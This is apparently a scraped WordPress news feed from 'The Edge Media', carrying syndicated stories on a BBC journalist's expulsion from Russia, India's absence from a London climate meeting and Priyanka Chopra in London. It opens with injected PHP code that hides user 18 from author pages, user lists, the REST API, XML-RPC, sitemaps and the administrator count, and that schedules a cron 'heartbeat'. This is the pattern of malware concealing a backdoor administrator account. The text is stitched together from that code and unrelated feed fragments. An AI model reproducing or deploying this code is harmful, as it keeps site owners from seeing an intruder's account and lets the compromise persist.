add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “I am being expelled”, says BBC journalist Sarah Rainsford appeared first on The Edge Media.
]]>In an unusual move at a time of already poor bilateral ties, Russia said Sarah Rainsford – one of the British broadcaster’s two English-language Moscow correspondents – was being sent home after London’s refusal to give visas to Russian journalists.
In a BBC interview, Rainsford said she was shocked by the decision which she felt was part of a wider diplomatic game at a time when Russia’s ties with the West were on the slide.
The move not to renew her Russian visa beyond the end of this month looked like a technical one, but was not, she said.
“I am being expelled,” she said.
I have been told (by Russian officials) that I cannot come back ever. It’s devastating personally.”
Rainsford, who is on a second stint in Moscow, said she had lived for almost one third of her life in Russia and had dedicated years to studying it.
Her departure before the end of this month follows a period before parliamentary elections in September when the authorities in Russia have cracked down on Russian-language media at home that they deem backed by malign foreign interests intent on stoking unrest.
Rainsford said the Russia story had become increasingly difficult to tell in what she described as an oppressive environment.
This is a clear sign that things have changed. It’s another really bad sign about the state of affairs in Russia. Another sign that Russia is closing in on itself,” she said.
The BBC has urged Moscow to reconsider and called the case an assault on media freedom.
Russia says it warned London many times that it would respond to what it calls visa-related persecution of Russian journalists in Britain.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post “I am being expelled”, says BBC journalist Sarah Rainsford appeared first on The Edge Media.
]]>The post India alone among 51 countries to skip the London Climate Meet. appeared first on The Edge Media.
]]>India was the only one of 51 invited countries that didn’t attend a two-day ministerial meeting in the U.K capital, hosted by the incoming president of the COP26 United Nations talks, according to people present at the Summit who asked not to be named.
The conference was designed to lay the groundwork for a successful COP26 , which is due to take place in Glasgow in three months’ time.
Gravure Khare, a spokesperson for India’s Ministry of Environment , Forest and Climate Change, said the government had decided against attending in person as the country had already made its views known at the G-20 in Naples , then technical issues prevented its from taking part virtually.
The post India alone among 51 countries to skip the London Climate Meet. appeared first on The Edge Media.
]]>The post Priyanka Chopra explores London on an electric scooter appeared first on The Edge Media.
]]>
Priyanka Chopra wore a white patterned dress and matching shoes. She also shared a video and another picture from the streets of London, where she has been based for the best part of 2021. Priyanka has been filming back-to-back projects in the UK. She completed work on Text for You, a romantic film in which she co-stars with Sam Heughan, and immediately got to work on her Amazon Prime Video spy series Citadel, executive produced by the Russo brothers, Joe and Anthony.
Priyanka also has The Matrix 4, a romantic comedy written by Mindy Kaling, a wedding-themed reality show, a biopic of Ma Anand Sheela, and her big Bollywood comeback lined up. Priyanka was last seen in We Can Be Heroes and The White Tiger, both of which released on Netflix.
The post Priyanka Chopra explores London on an electric scooter appeared first on The Edge Media.
]]>